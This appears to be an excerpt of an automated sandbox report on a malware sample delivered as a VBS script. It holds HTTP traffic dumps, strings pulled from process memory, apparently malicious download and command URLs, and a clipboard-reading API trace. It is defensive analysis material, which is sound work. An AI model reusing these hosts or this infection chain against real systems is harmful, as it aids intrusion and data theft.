63 bc f9 c9 e4 0f 44 5e 7d e7 1f 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f0MAO0f'8,.U8D`2H[$).=oY"_+jqW-b!$c)b_nH(B:y/^\1Q%\|8W0)}N3`Z9q7XO:!0a*4MH]n}[Mycr#/acD^}0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 21 Jan 2025 15:47:24 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeData Raw: 31 31 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 63 65 6c 65 73 74 69 61 6c 2d 67 75 69 64 65 73 2e 73 68 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 11f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at www.celestial-guides.shop Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Tue, 21 Jan 2025 15:47:30 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Tue, 21 Jan 2025 15:47:32 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Tue, 21 Jan 2025 15:47:35 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Tue, 21 Jan 2025 15:47:38 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a

Source: powershell.exe, 00000003.00000002.1624571484.000001FB92234000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1584980234.000001FB81E73000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1584980234.000001FB83A71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.1584980234.000001FB839EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1584980234.000001FB81411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1584980234.000001FB83537000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000003.00000002.1584980234.000001FB839EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: sxstrace.exe, 00000009.00000002.2796725525.00000000071E0000.00000004.00000800.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000002.2795073064.000000000522A000.00000004.10000000.00040000.00000000.sdmp, XG4tzkOqVF.exe, 0000000C.00000002.2793198757.00000000035DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.chiro.live/9pz6?gp=1&js=1&uuid=1737474431.0096675034&other_args=eyJ1cmkiOiAiLzlwejYiLCAiY
Source: XG4tzkOqVF.exe, 0000000C.00000002.2794868753.00000000051D6000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.rtp189z.lat
Source: XG4tzkOqVF.exe, 0000000C.00000002.2794868753.00000000051D6000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.rtp189z.lat/i4k3/
Source: XG4tzkOqVF.exe, 0000000C.00000002.2793198757.00000000035DA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www70.chiro.live/
Source: sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000003.00000002.1584980234.000001FB81411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000003.00000002.1584980234.000001FB83A71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.1584980234.000001FB83A71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.1584980234.000001FB83A71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: sxstrace.exe, 00000009.00000002.2795073064.0000000005098000.00000004.10000000.00040000.00000000.sdmp, XG4tzkOqVF.exe, 0000000C.00000002.2793198757.0000000003448000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: powershell.exe, 00000003.00000002.1584980234.000001FB839EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: sxstrace.exe, 00000009.00000002.2795073064.0000000004D74000.00000004.10000000.00040000.00000000.sdmp, XG4tzkOqVF.exe, 0000000C.00000002.2793198757.0000000003124000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.2198864528.00000000368B4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://jackys.shop/5ann/?Nl=4PTBgoI4Nk
Source: wscript.exe, 00000001.00000002.1680465101.0000026A7F5E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: sxstrace.exe, 00000009.00000002.2791528045.0000000002690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: sxstrace.exe, 00000009.00000002.2791528045.000000000266F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: sxstrace.exe, 00000009.00000003.2088456101.00000000074D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: sxstrace.exe, 00000009.00000002.2791528045.0000000002690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: sxstrace.exe, 00000009.00000002.2791528045.000000000266F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033I
Source: sxstrace.exe, 00000009.00000002.2791528045.0000000002690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: sxstrace.exe, 00000009.00000002.2791528045.000000000266F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: powershell.exe, 00000003.00000002.1624571484.000001FB92234000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1584980234.000001FB81E73000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1584980234.000001FB83A71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000003.00000002.1584980234.000001FB83537000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000003.00000002.1584980234.000001FB83537000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: wscript.exe, 00000001.00000003.1677228359.0000026A7E7D5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1680221874.0000026A7E7D5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1677751814.0000026A7E7D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.atc-secure.com/
Source: wscript.exe, 00000001.00000003.1677228359.0000026A7E7D5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1680221874.0000026A7E7D5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1677751814.0000026A7E7D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.atc-secure.com//
Source: wscript.exe, 00000001.00000002.1680403588.0000026A7F102000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1677751814.0000026A7E7D5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1679811574.0000026A7E720000.00000004.00000020.00020000.00000000.sdmp, ADtours0121025.Vbs.vbs	String found in binary or memory: https://www.atc-secure.com/SMG411
Source: wscript.exe, 00000001.00000002.1679899842.0000026A7E726000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1677929523.0000026A7E725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.atc-secure.com/SMG411m
Source: sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown

HTTPS traffic detected: 92.205.22.61:443 -> 192.168.2.8:49704 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002C6B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

5_2_002C6B0C

Source: C:\Users\user\AppData\Local\Temp\x.exe

